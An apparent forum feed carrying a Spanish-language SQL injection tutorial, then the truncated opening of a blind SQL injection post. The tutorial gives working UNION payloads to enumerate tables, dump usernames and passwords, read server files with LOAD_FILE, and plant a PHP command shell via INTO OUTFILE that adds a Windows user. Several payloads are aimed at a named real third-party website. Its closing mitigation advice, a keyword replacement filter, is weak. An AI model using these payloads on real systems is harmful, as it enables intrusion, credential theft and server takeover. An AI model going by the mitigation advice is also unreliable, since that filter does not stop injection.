<title>Inyecciones SQL desde 0 (9 replies)</title><link>https://foro.undersecurity.net/read.php?5,6240,6240#msg-6240</link><description><![CDATA[Inyecciones SQL desde 0<br /><br />Autor: El Gran Guasón<br /><br /><br /><br />Indice:<br /><br /><br />0x01:Que es una inyección SQL<br />0x02:Como sacar el numero de columnas<br />0x03:Como sacar tablas y columnas en information schema<br />0x04:Como sacar tablas y columnas por fuerza bruta<br />0x05:Como sacar columnas de mysql.user<br />0x06:Como sacar usuarios y password<br />0x07:Sacar informacion de la base de datos<br />0x08:Como explotar LOAD_FILE<br />0x09:Como hacer vulnerable a RFI mediante una inyeccion SQL<br />0x10:Evitar estos ataques<br />0x11:Despedida<br /><br /><br /><br /><br /><br /><br /><br />0x01:Que es una inyeccion SQL<br /><br /><br /><br />Una inyeccion SQL es tecnica para sacar informacion de una base de datos para poder<br />ver datos que no son publicos y modificar a nuestro antojo.<br />La mayoria de las personas que les gusta hackear siempre usan las inyecciones SQL ya<br />preparadas para sacar user y pass del admin sin siquiera conocer como funciona.Esto<br />es algo muy negativo ya que cualquier idiota sin experiencia puedo sacar user y pass con<br />un plis.<br />Para usar este manual necesitas tener instalado AppServer o Easy PHP<br /><br /><br />http://www.appservnetwork.com/index.php?newlang=spanish<br /><br />Los archivos para la web deben ir en C:\Appserv\www<br /><br />Entonces a programar se ha dicho.<br /><br /><br />Antes que tienes que crear la base de datos , primero van a<br /><br />Inicio - Todos los programas - Appserv - MySQL Command Line Client<br /><br />Ejecutamos el MySQL Command Line Client y escribimos la contraseña.<br /><br />Ejecuta los siguientes comandos.<br /><br /><br /><pre class="sql bbcode_geshi"><div class="head">Language: SQL</div><span class="kw1">CREATE</span> 
<span class="kw1">TABLE</span> 
<span class="st0">`users`</span> <span class="br0">&#40;</span>
<span class="st0">`id`</span> int<span class="br0">&#40;</span><span class="nu0">10</span><span class="br0">&#41;</span> <span class="kw1">UNSIGNED</span> 
<span class="kw1">NOT</span> 
<span class="kw1">NULL</span> 
<span class="kw1">AUTO_INCREMENT</span><span class="sy0">,</span>
<span class="st0">`name`</span> varchar<span class="br0">&#40;</span><span class="nu0">25</span><span class="br0">&#41;</span> <span class="kw1">NOT</span> 
<span class="kw1">NULL</span><span class="sy0">,</span>
<span class="st0">`password`</span> varchar<span class="br0">&#40;</span><span class="nu0">50</span><span class="br0">&#41;</span> <span class="kw1">NOT</span> 
<span class="kw1">NULL</span><span class="sy0">,</span>
<span class="st0">`country`</span> varchar<span class="br0">&#40;</span><span class="nu0">20</span><span class="br0">&#41;</span> <span class="kw1">NOT</span> 
<span class="kw1">NULL</span><span class="sy0">,</span>
<span class="kw1">PRIMARY</span> 
<span class="kw1">KEY</span> 
<span class="br0">&#40;</span><span class="st0">`id`</span><span class="br0">&#41;</span>
&nbsp;
&nbsp;
&nbsp;
&nbsp;
<span class="kw1">INSERT</span> 
<span class="kw1">INTO</span> 
<span class="st0">`users`</span> <span class="kw1">VALUES</span> 
<span class="br0">&#40;</span><span class="nu0">1</span><span class="sy0">,</span> <span class="st0">'Guason'</span><span class="sy0">,</span> <span class="st0">'123'</span><span class="sy0">,</span> <span class="st0">'Argentina'</span><span class="br0">&#41;</span>;
<span class="kw1">INSERT</span> 
<span class="kw1">INTO</span> 
<span class="st0">`users`</span> <span class="kw1">VALUES</span> 
<span class="br0">&#40;</span><span class="nu0">2</span><span class="sy0">,</span> <span class="st0">'Pero'</span><span class="sy0">,</span> <span class="st0">'11'</span><span class="sy0">,</span> <span class="st0">'Infierno'</span><span class="br0">&#41;</span>;
<span class="kw1">INSERT</span> 
<span class="kw1">INTO</span> 
<span class="st0">`users`</span> <span class="kw1">VALUES</span> 
<span class="br0">&#40;</span><span class="nu0">3</span><span class="sy0">,</span> <span class="st0">'Trinity'</span><span class="sy0">,</span> <span class="st0">'12354'</span><span class="sy0">,</span> <span class="st0">'Via Lactea'</span><span class="br0">&#41;</span>;
<span class="kw1">INSERT</span> 
<span class="kw1">INTO</span> 
<span class="st0">`users`</span> <span class="kw1">VALUES</span> 
<span class="br0">&#40;</span><span class="nu0">4</span><span class="sy0">,</span> <span class="st0">'Galaxia'</span><span class="sy0">,</span> <span class="st0">'gaylord'</span><span class="sy0">,</span> <span class="st0">'Cabaret'</span><span class="br0">&#41;</span>;</pre><br /><br /><br />Aca les dejo para el index<br /><br /><br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div><span class="kw2">&lt;?php</span> 
&nbsp;
&nbsp;
<span class="coMULTI">/* 
&nbsp;
&nbsp;
*/</span> 
&nbsp;
&nbsp;
<span class="co1">// Datos para el login</span>
&nbsp;
&nbsp;
<span class="re0">$dbhost</span> <span class="sy0">=</span> <span class="st_h">'localhost'</span><span class="sy0">;</span>
<span class="re0">$dbuser</span> <span class="sy0">=</span> <span class="st_h">'root'</span><span class="sy0">;</span>
<span class="re0">$dbname</span> <span class="sy0">=</span> <span class="st_h">'test'</span><span class="sy0">;</span>
&nbsp;
&nbsp;
<span class="co1">// -------------------</span>
&nbsp;
&nbsp;
<span class="re0">$user</span> <span class="sy0">=</span> <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st_h">'id'</span><span class="br0">&#93;</span><span class="sy0">;</span>
<span class="kw1">if</span><span class="br0">&#40;</span><a href="http://www.php.net/empty"><span class="kw3">empty</span></a><span class="br0">&#40;</span><span class="re0">$user</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span>
&nbsp;
&nbsp;
<span class="re0">$user</span> <span class="sy0">=</span> <span class="nu0">1</span><span class="sy0">;</span>
&nbsp;
&nbsp;
<span class="br0">&#125;</span> 
&nbsp;
&nbsp;
<span class="re0">$db</span> <span class="sy0">=</span> <a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span><span class="sy0">,</span> <span class="re0">$dbuser</span><span class="br0">&#41;</span><span class="sy0">;</span>
<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$dbname</span><span class="sy0">,</span><span class="re0">$db</span><span class="br0">&#41;</span><span class="sy0">;</span> 
&nbsp;
&nbsp;
<span class="re0">$sql</span> <span class="sy0">=</span> <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT * FROM `users` WHERE id=&quot;</span><span class="sy0">.</span><span class="re0">$user</span><span class="br0">&#41;</span> or <a href="http://www.php.net/die"><span class="kw3">die</span></a> <span class="br0">&#40;</span><a href="http://www.php.net/mysql_error"><span class="kw3">mysql_error</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="re0">$users</span> <span class="sy0">=</span> <span class="sy0">@</span><a href="http://www.php.net/mysql_fetch_row"><span class="kw3">mysql_fetch_row</span></a><span class="br0">&#40;</span><span class="re0">$sql</span><span class="br0">&#41;</span><span class="sy0">;</span> 
&nbsp;
&nbsp;
<span class="kw1">echo</span> <span class="st0">&quot;&lt;h2&gt;&lt;center&gt;&lt;u&gt;Laboratorio Guasonero&lt;br&gt;By Guasón&lt;/u&gt;&lt;br&gt;&lt;br&gt;&quot;</span><span class="sy0">;</span>
<span class="kw1">echo</span> <span class="st0">&quot;&lt;font color='#FF0000'&gt;user_id: &lt;/font&gt;&quot;</span><span class="sy0">.</span><span class="re0">$users</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="sy0">.</span><span class="st0">&quot;&lt;br&gt;&quot;</span><span class="sy0">;</span>
<span class="kw1">echo</span> <span class="st0">&quot;&lt;font color='#FF0000'&gt;username: &lt;/font&gt;&quot;</span><span class="sy0">.</span><span class="re0">$users</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="sy0">.</span><span class="st0">&quot;&lt;br&gt;&quot;</span><span class="sy0">;</span>
<span class="kw1">echo</span> <span class="st0">&quot;&lt;font color='#FF0000'&gt;password: &lt;/font&gt;&quot;</span><span class="sy0">.</span><span class="re0">$users</span><span class="br0">&#91;</span><span class="nu0">3</span><span class="br0">&#93;</span><span class="sy0">.</span><span class="st0">&quot;&lt;br&gt;&quot;</span><span class="sy0">;</span> 
&nbsp;
&nbsp;
<a href="http://www.php.net/mysql_close"><span class="kw3">mysql_close</span></a><span class="br0">&#40;</span><span class="re0">$db</span><span class="br0">&#41;</span><span class="sy0">;</span> 
&nbsp;
&nbsp;
<span class="sy1">?&gt;</span></pre><br /><br /><br />¿Como se si es vulnerable?<br /><br /><br />Para saber si es vulnerable basta con hacer<br /><br />http://127.0.0.1/index.php?id=1+and+1=0<br /><br />Si no se muestra nada , la pagina no seria vulnerable.<br /><br /><br /><br />0x02:Como sacar el numero de columnas<br /><br /><br />Para sacar el numero de columnas seria muy facil pues puede ser con dos tecnicas que son<br /><br /><br />**ORDER BY******<br /><br />Para poder sacar el numero de columnas mediante Order By seria<br /><br />http://127.0.0.1/index.php?id=1+order+by+1<br /><br />Si se muesta todo correcto es que ese numero que esta al final de la url &quot;1&quot; no es numero de<br />columnas y tenemos que seguir subiendo<br /><br />http://127.0.0.1/index.php?id=1+order+by+2<br />http://127.0.0.1/index.php?id=1+order+by+3<br />http://127.0.0.1/index.php?id=1+order+by+4<br />http://127.0.0.1/index.php?id=1+order+by+5 (ERROR)<br /><br />Pues si en el numero 5 nos dice error , esta queriendo decir que ya no hay mas columnas , pues<br />deduciendo tenemos que el sitio tiene 4 columnas<br /><br /><br /><br />***Sumando con union select*******<br /><br /><br />Esta es la mejor y mas bien confiable tecnica para sacar el numero de columnas. Yo en esta<br />tecnica lo que hago es poner una palabra en hexadecimal y no numero. Ejemplo<br /><br />0x677561736f6e = guason<br /><br />http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e<br /><br />Pues no nos dice nada interesante la inyeccion pero si seguimos poniendole mas.....<br /><br />http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e<br />http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e<br />http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e ( NOS TIRA guason)<br /><br /><br />Pues si instalaste la base de datos como la mia. Veras que al intentar 4 veces mi nombre en<br />hexadecimal nos tira 3 veces guason. Pues es obvio que la base de datos tiene 4 columnas.<br />Esta tecnica es muy bueno para hacer tools un ejemplo es mi programa Hunter-MYSQL aunque<br />yo lo considero obsoleto.<br /><br /><br />0x03:Como sacar tablas y columnas con information schema<br /><br />Hay dos formas de sacar tablas y columnas con information schema una es a lo boludo y otra a lo<br />vivo. Pero en realidad serian con sus verdaderos nombres LIMIT y group_concat<br />Para los dos casos necesitamos el numero de columnas antes<br /><br />***Usando LIMIT*****<br /><br />Para recorrer las tablas usare como ejemplo a bullcariez pues mi version de mysql no es la 5:<br /><br />http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1<br /><br />Con esta tecnica veran una tabla pero no todas por lo que tiene que seguir aumentando el numero<br />hasta que vean alguna interesante como user o pass.<br /><br />http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1<br /><br />Cuando lleguen al numero 17 veran la tabla amada llamada Users<br /><br />Ahora hay que sacar las columnas con limit. Seria asi.<br /><br />117,115,101,114,115 = Users en ascii<br /><br />http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)<br /><br />Como veran se muestra el nombre de una columna llamada Pass y si intentamos con 69 nos muestra la columna llamada nombre.Realmente una mierda esta tecnica pero bueno.<br /><br />Aca les dejo una tool para convertir una palabra a ascii en este caso tablas<br /><br /><pre class="perl bbcode_geshi"><div class="head">Language: Perl</div><span class="co1">#Name program = Ascii-DE</span>
<span class="co1">#Version = beta</span>
<span class="co1">#Autor = El Gran Guasón</span>
&nbsp;
&nbsp;
<span class="kw1">my</span> <span class="re0">$palabra</span> <span class="sy0">=</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="sy0">;</span>
<span class="kw1">my</span> <span class="re0">$opcion</span> <span class="sy0">=</span> <span class="re0">$ARGV</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="sy0">;</span>
&nbsp;
&nbsp;
<span class="kw1">unless</span> <span class="br0">&#40;</span><span class="re0">$palabra</span> <span class="sy0">||</span> <span class="re0">$opcion</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span><span class="es0">\n</span>Modo de uso = $0 --ascii &lt;palabra&gt; &lt;opcion&gt;<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;&lt;palabra&gt; = Texto normal o codificacion ascii<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;&lt;opcion&gt; = encode , decode<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a> <span class="nu0">1</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
&nbsp;
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$opcion</span> <span class="kw1">eq</span> <span class="st0">&quot;encode&quot;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
<span class="re0">&amp;ascii_encode</span><span class="br0">&#40;</span><span class="re0">$palabra</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="re0">&amp;creditos</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
<span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$opcion</span> <span class="kw1">eq</span> <span class="st0">&quot;decode&quot;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span>
<span class="re0">&amp;ascii_decode</span><span class="br0">&#40;</span><span class="re0">$palabra</span><span class="br0">&#41;</span><span class="sy0">;</span>
<span class="re0">&amp;creditos</span><span class="sy0">;</span>
<span class="br0">&#125;</span>
&nbsp;
&nbsp;
<span class="kw2">sub</span> ascii_decode <span class="br0">&#123;</span>
&nbsp;
<span class="kw1">my</span> <span class="re0">$z</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/shift.html"><span class="kw3">shift</span></a><span class="sy0">;</span>
&nbsp;
<span class="re0">$z</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/join.html"><span class="kw3">join</span></a> <a href="http://perldoc.perl.org/functions/q.html"><span class="kw3">q</span></a><span class="br0">&#91;</span><span class="br0">&#93;</span><span class="sy0">,</span> <a href="http://perldoc.perl.org/functions/map.html"><span class="kw3">map</span></a> <span class="br0">&#123;</span> <a href="http://perldoc.perl.org/functions/chr.html"><span class="kw3">chr</span></a> <span class="br0">&#125;</span> <a href="http://perldoc.perl.org/functions/split.html"><span class="kw3">split</span></a> <a href="http://perldoc.perl.org/functions/q.html"><span class="kw3">q</span></a><span class="br0">&#91;</span><span class="sy0">,</span><span class="br0">&#93;</span><span class="sy0">,</span><span class="re0">$z</span><span class="sy0">;</span>
&nbsp;
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span><span class="es0">\n</span>[+] Texto codificado = $palabra<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[+] Texto normal = $z<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
&nbsp;
<span class="br0">&#125;</span>
&nbsp;
&nbsp;
<span class="kw2">sub</span> ascii_encode <span class="br0">&#123;</span>
&nbsp;
<span class="kw1">my</span> <span class="re0">$string</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/shift.html"><span class="kw3">shift</span></a><span class="sy0">;</span>
&nbsp;
<span class="re0">$re</span> <span class="sy0">=</span> <a href="http://perldoc.perl.org/functions/join.html"><span class="kw3">join</span></a> <span class="st_h">','</span><span class="sy0">,</span> <a href="http://perldoc.perl.org/functions/unpack.html"><span class="kw3">unpack</span></a> <span class="st0">&quot;U*&quot;</span><span class="sy0">,</span> <span class="re0">$string</span><span class="sy0">;</span> <span class="co1"># o A* para ASCII</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span><span class="es0">\n</span>[+] Texto normal = $palabra<span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;[+] Texto codificado = $re<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
&nbsp;
<span class="br0">&#125;</span>
&nbsp;
<span class="kw2">sub</span> creditos  <span class="br0">&#123;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\n</span><span class="es0">\n</span><span class="es0">\n</span><span class="es0">\n</span><span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>******************************************<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>Written By El Gran Guason || 2010<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span class="kw3">print</span></a> <span class="st0">&quot;<span class="es0">\t</span><span class="es0">\t</span>******************************************<span class="es0">\t</span><span class="es0">\t</span><span class="es0">\t</span><span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="sy0">;</span>
<a href="http://perldoc.perl.org/functions/exit.html"><span class="kw3">exit</span></a> <span class="nu0">1</span><span class="sy0">;</span>
<span class="br0">&#125;</span></pre><br /><br /><br /><br /><br />******Usando group_concat******************<br /><br /><br />Ok , ahora viene la mejor y mas corta seguiremos usando lamentablemente bullcariez<br /><br /><br />http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(table_name),2,3,4,5,6+from+information_schema.tables<br /><br />Con esta tecnica presenciaremos todas las tablas aunque no todas.Pero la que vale es users<br /><br />Ahora cuando vean la tabla users lo sacan de esta manera no antes que de haber<br />convertido en ascii la tabla.<br /><br />http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(column_name),2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)<br /><br />Pues ahora veremos todas las columnas de esa tabla , pero las esenciales son nombre y Pass.<br /><br /><br /><br /><br />0x04:Como sacar tablas y columnas por fuerza bruta.<br /><br />Pues esta tecnica es la peor y mas dura.Pues para eso hice a Hunter-MYSQL que intenta sacarlas<br />aunque a veces no hay remedio.<br /><br />Ok , tomaremos como ejemplo a nuestro servidor web y no a la mierda de bullcariez.<br />Como siempre cabe aclarar que vamos a necesitar al numero de columnas. Ahora vamos<br />a los ejemplos.<br /><br />Antes de probar esto hay que tener claro la segundo tecnica de sacar columnas del manual<br /><br />http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+LATABLA A PROBAR<br /><br /><br />http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+usuarios<br /><br />Pues el resultado de esta inyeccion es cualquier cosa pues si la tabla usuarios existiera nos mostraria guason en el resultado<br /><br />http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+users<br /><br />Ok ,yes , nos ha mostrado 3 veces guason , pues eso solo nos esta diciendo que la tabla users EXISTE.<br /><br />Ahora las columnas de la tabla users<br /><br />Para sacar las columnas de la tabla users seria<br /><br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,COLUMNA A PROBAR),2,3,4+from+users--<br /><br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,sexualidad),2,3,4+from+users--<br /><br />Como veran intente con la columna sexualidad pero como esta no existe no se mostrara un carajo.<br /><br />Ahora probare con name , password y country<br /><br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,name),2,3,4+from+users--<br /><br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,password),2,3,4+from+users--<br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,country),2,3,4+from+users--<br /><br />Pues todas inyecciones nos tira guason<br />guason<br />guason<br /><br />Pues esa son las columnas que tiene la tabla users.<br /><br /><br /><br />0x05:Sacar columnas de mysql.user<br /><br />Pues para comprobar si nuestro servidor web tiene mysql.user seria:<br /><br /><br /><br />http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user<br /><br />Ok , a mi , me devuelve tres veces guason , no se a ustedes pero bueno.<br />Para sacar las columnas de mysql.user seria:<br /><br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,COLUMNA A PROBAR),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user<br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,tonton),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user<br /><br />Pues no nos devuelve ese idiota de guason , entonces no tiene ninguna columna llamada tonton<br /><br />Entonces para probar con name password nos tira<br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,user),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user<br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,password),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user<br /><br />Nos tira : guason<br />guason<br /><br /><br />Entonces las columnas son user y password.<br /><br /><br /><br /><br />0x06:Como sacar usuarios y password<br /><br />Ok , si ya conseguiste la tabla de usuarios con las columas interesantes lo que debes hacer es<br /><br />http://127.0.0.1/index.php?id=-1+union+select+1,2,3,4<br /><br />Debes elegir algunos de los numeros que salen en la pantalla de resultado.Pues si al final de usar<br />algunos de los estos numeros y mas adelante no te salio nada , debes intentar con otro numero que<br />te da la inyeccion en el resultado.<br /><br />Pues yo eligo el 1. Entonces la inyeccion seria con estos datos<br /><br />tabla = users<br />columnas a sacar = name y password<br /><br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(name,0x3a,password),2,3,4+from+users<br /><br /><br />Uso a 0x3a para separar el resultado del name y del password<br />0x3a = :<br /><br />La inyeccion nos tira<br /><br />Guason:123<br /><br />Ay no! alguien tien mi contraseña xD<br /><br />Lo mismo seria para mysql.user<br /><br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(user,0x3a,password),2,3,4+from+mysql.user<br /><br /><br />Y lo mismo para information_schema<br /><br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(name,0x3a,password),2,3,4+from+users<br /><br />Pero este ultimo no me anda porque mi mysql es viejo y no tiene information_schema pero la inyeccion nos da el mismo resultado ya que las tablas y columnas si existen<br /><br /><br />0x07:Sacar informacion de la base de datos<br /><br />Ok , para sacar informacion de la base de datos seria:<br /><br />Lo que podemos sacar es<br /><br /><pre class="bbcode">
version() = Version de mysql
database() = Tipo base de datos
user()  = usuario
connection_id()  = Id de la conexion</pre><br /><br /><br />Para tenemos que tenes el numero de columnas<br /><br />http://127.0.0.1/index.php?id=-1+union+select+1,2,3,4<br /><br />Pues eligen cualquier numero que les tire el resultado de la inyeccion<br /><br />En mi caso agarro uno<br /><br />http://127.0.0.1/index.php?id=-1+union+select+concat(user(),0x3a,database(),0x3a,version(),connection_id(),0x3a),2,3,4<br /><br />Pues nos tira:<br /><br /><pre class="bbcode">
root@localhost:test:4.1.9-max3:</pre><br /><br />Todos los datos que pedimos primero el user , despues el nombre basedate , luego la version y despues el id de la conexion.<br /><br /><br /><br />0x08:Como explotar LOAD_FILE<br /><br /><br />Con la funcion LOAD_FILE podemos leer los archivos que hay en el servidor Ejemplo por defecto<br />en mi base de datos voy a parar en mysql/data. Yo en este directorio yo tengo un archivo llamado boludo.txt.<br /><br />Entonces teniendo a boludo.txt = 0x626f6c75646f2e747874<br />Podemos leer el archivo mediante el numero milagroso y la funcion load_file<br /><br /><br />http://127.0.0.1/index.php?id=-1+union+select+load_file(0x626f6c75646f2e747874),2,3,4<br /><br />Entonces el resultado me daria &quot; Hola enfermo! &quot; porque en el archivo boludo.txt tengo solamente eso.<br /><br />Y asi podran ir sacando cosas malevolas con esta tecnica.<br /><br /><br /><br />0x09:Como hacer vulnerable a RFI mediante una inyeccion SQL<br /><br />Pues ya teniendo el numero de columnas tambien podemos crear archivo mediante la funcion<br />into+outfile<br />Entonces como siempre agarramos el 1 xD.<br /><br />Eh intentaremos crear un ejecutor de comandos con este codigo<br /><br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div><span class="kw2">&lt;?php</span> <span class="kw1">include</span><span class="br0">&#40;</span><span class="re0">$_GET</span><span class="br0">&#91;</span><span class="re0">$cmd</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span> <span class="sy1">?&gt;</span></pre><br /><br />Cabe aclarar que el directorio que vamos a que guardar este ejecutor no debe ser restringido para<br />los visitantes.<br /><br />http://127.0.0.1/index.php.php?id=-1+union+select+'&lt;?php include($_GET[$cmd]); ?&gt; ',2,3,4+into+outfile+'gilo.php'<br /><br /><br />Ok , si ven que el resultado es nulo y no sale ningun error es que se ah creado el archivo. Por<br />defecto a mi se me creo en mysql/data.<br />Solo es cuestion de ir cambiando de directorios hasta que alguno nos deje crear el archivo.<br /><br />Pero por algo me hago llamar El Gran Guasón , porque no soy mas un newbie y no tengo nada<br />de noob.<br /><br />Vamos a ejecutar de nuevo la sentencia pero ahora de esta forma.<br /><br />http://127.0.0.1/index.php.php?id=-1+union+select+&quot;&lt;?php $cmd = $_GET['agarrala']; system ($cmd);?&gt;&quot;,2,3,4+into+outfile+'../../www/cmd.php'--<br /><br />La explicacion seria simple como la estructura de Easy PHP hizo que el resultado del archivo<br />creado terminara en mysql/data lo que yo hice fue dar dos veces para atras e ir al directorio www de<br />Easy PHP terminando creando el archivo cmd.php<br /><br />Ahora solo es cuestion de hacer esto<br /><br />http://127.0.0.1/cmd.php<br /><br />Y listo tenemos una cosa rara de shell que ejecuta comandos<br /><br />Un ejemplo seria<br /><br />http://127.0.0.1/cmd.php?agarrala=net user /add Jose 123<br /><br />Este comando es porque mi SO es Windows ,la mayoria de los SO de las webs son linux y los directorios apache varian solo es cuestion de ir probando.<br /><br /><br />0x10:Evitar estos ataques<br /><br />Ahora que ya eh explicado casi todo es hora de decir como defenderse de estos ataques<br />Hay varios formas pero solo nombrare algunas<br /><br /><br /><pre class="php bbcode_geshi"><div class="head">Language: PHP</div>$user =(int)$_GET['id'];</pre><br /><br />Con esto queremos decir que si se introduce algun dato o valor en la inyeccion no sera mostrada<br /><br />Ahora hay que usar otra para evitar el &quot;select&quot;<br /><br /><pre class="bbcode">
$user = $_GET['id'];
$user = str_replace(&quot;select&quot;,&quot;9999999999999&quot;,$user);</pre><br /><br />Ahora este codigo no esta diciendo que si se utiliza la palabra &quot;select&quot; esta sera reemplazada por<br />&quot;9999999999999&quot;.<br /><br />Con esto creo que bastaria ya que si no consigue el numero de columnas el atacante esta muerto pero si siempre hay cada caso xD.<br /><br /><br /><br />0x11:Despedida<br /><br />Con esto doy por finalizado el manual , eh explicado todo lo que conozco , aunque no puso Blind<br />SQL inyection porque se iba a hacer muy largo pero pronto hare uno con Blind.<br /><br /><br />Web = guason-cracker.blogspot.com<br />Agradecimientos = a nadie.]]></description>
<dc:creator>Guason</dc:creator>
<category>SQL Injection MYSQL </category><pubDate>Tue, 09 Mar 2010 17:19:48 -0500</pubDate></item>
<item>
<guid>https://foro.undersecurity.net/read.php?5,6234,6234#msg-6234</guid>
<title>Blind SQL Inyection (1 reply)</title><link>https://foro.undersecurity.net/read.php?5,6234,6234#msg-6234</link><description><![CDATA[Blind SQL Inyection<br /><br /><br /><br />Autor:El Gran Guasón<br /><br /><br /><br />Indice:<br /><br /><br />0x01:Introduccion<br />0x02:Como funcionan los ataques Blind SQL Inyection<br />0x03:Creando un index vulnerable<br />0x04:Sacando tablas<br />0x05:Sacar el numero de registro de una tabla<br />0x06:Sacando columnas de las tablas<br />0x07:Sacando la longitud de los valores<br />0x08:Sacar el valor real de una contraseña u otro dato<br />0x09:Despedida<br /><br /><br /><br /><br />0x01:Introduccion<br /><br />Hola a todos o nadie quizas ......... En este manual veremos como explotar paginas webs que sean<br />vulnerables a Blind SQL Inyection.Tratare de explicar todos los detalles.De como saber si es vulnerable hasta el valor de una contraseña........<br /><br /><br />0x02:Como funciona los ataques Blind SQL Inyection<br /><br />Los ataques Blind SQL Inyection a diferencia de los ataques comunes de SQL , este se carateriza por ser un ataque a ciegas. Osea no nos devuelve nada al ejecutar la sentencia sino que la pagina queda igual o da un malefico error. Cuando la pagina se queda igual puede ser un valor positivo pero eso es algo que veremos en este momento.<br /><br /><br />0x03:Creando un index vulnerable<br /><br />Para 